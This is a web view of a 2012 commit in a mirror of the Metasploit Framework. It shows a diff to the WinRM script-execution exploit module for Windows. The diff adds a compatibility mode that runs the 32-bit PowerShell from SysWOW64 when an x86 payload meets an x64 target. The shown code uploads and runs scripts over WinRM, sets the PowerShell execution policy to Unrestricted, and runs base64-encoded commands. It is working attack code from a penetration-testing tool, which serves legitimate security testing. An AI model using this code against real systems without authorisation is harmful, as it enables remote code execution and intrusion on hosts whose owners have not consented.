infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge branch 'feature/winrm_compat_mode' of git://github.com/dmaloney-r7/metasploit-framework into dmaloney-r7-feature/winrm_compat_mode

bug/bundler_fix
sinn3r 2012-12-12 11:59:23 -06:00
parent 3e81fb2002 5e8b9a20a4
commit b465d20d61
1 changed files with 16 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
modules/exploits/windows/winrm/winrm_script_exec.rb
View File

@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
], self.class)
@compat_mode = false
end
def check
@ -83,7 +83,6 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
if powershell2?
return unless correct_payload_arch?
path = upload_script
return if path.nil?
exec_script(path)
@ -127,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
def exec_script(path)
print_status "Attempting to execute script..."
cmd = "powershell -File #{path}"
cmd = "#{@invoke_powershell} -File #{path}"
winrm_run_cmd_hanging(cmd)
end
@ -135,7 +134,7 @@ class Metasploit3 < Msf::Exploit::Remote
script = script.chars.to_a.join("\x00").chomp
script << "\x00" unless script[-1].eql? "\x00"
script = Rex::Text.encode_base64(script).chomp
cmd = "powershell -encodedCommand #{script}"
cmd = "#{@invoke_powershell} -encodedCommand #{script}"
end
def temp_dir
@ -173,11 +172,12 @@ class Metasploit3 < Msf::Exploit::Remote
end
def correct_payload_arch?
target_arch = check_remote_arch
case target_arch
@target_arch = check_remote_arch
case @target_arch
when "x64"
unless datastore['PAYLOAD'].include? "x64"
print_error "You selected an x86 payload for an x64 target!"
print_error "You selected an x86 payload for an x64 target...trying to run in compat mode"
@compat_mode = true
return false
end
when "x86"
@ -218,8 +218,15 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
return false unless correct_payload_arch? or @target_arch == "x64"
if @compat_mode == true
@invoke_powershell = "%SYSTEMROOT%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
else
@invoke_powershell = "powershell"
end
print_status "Attempting to set Execution Policy"
streams = winrm_run_cmd("powershell Set-ExecutionPolicy Unrestricted")
streams = winrm_run_cmd("#{@invoke_powershell} Set-ExecutionPolicy Unrestricted")
if streams == 401
print_error "Login failed!"
return false
@ -228,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_error "Recieved error while running check"
return false
end
streams = winrm_run_cmd("powershell Get-ExecutionPolicy")
streams = winrm_run_cmd("#{@invoke_powershell} Get-ExecutionPolicy")
if streams['stdout'].include? 'Unrestricted'
print_good "Set Execution Policy Successfully"
return true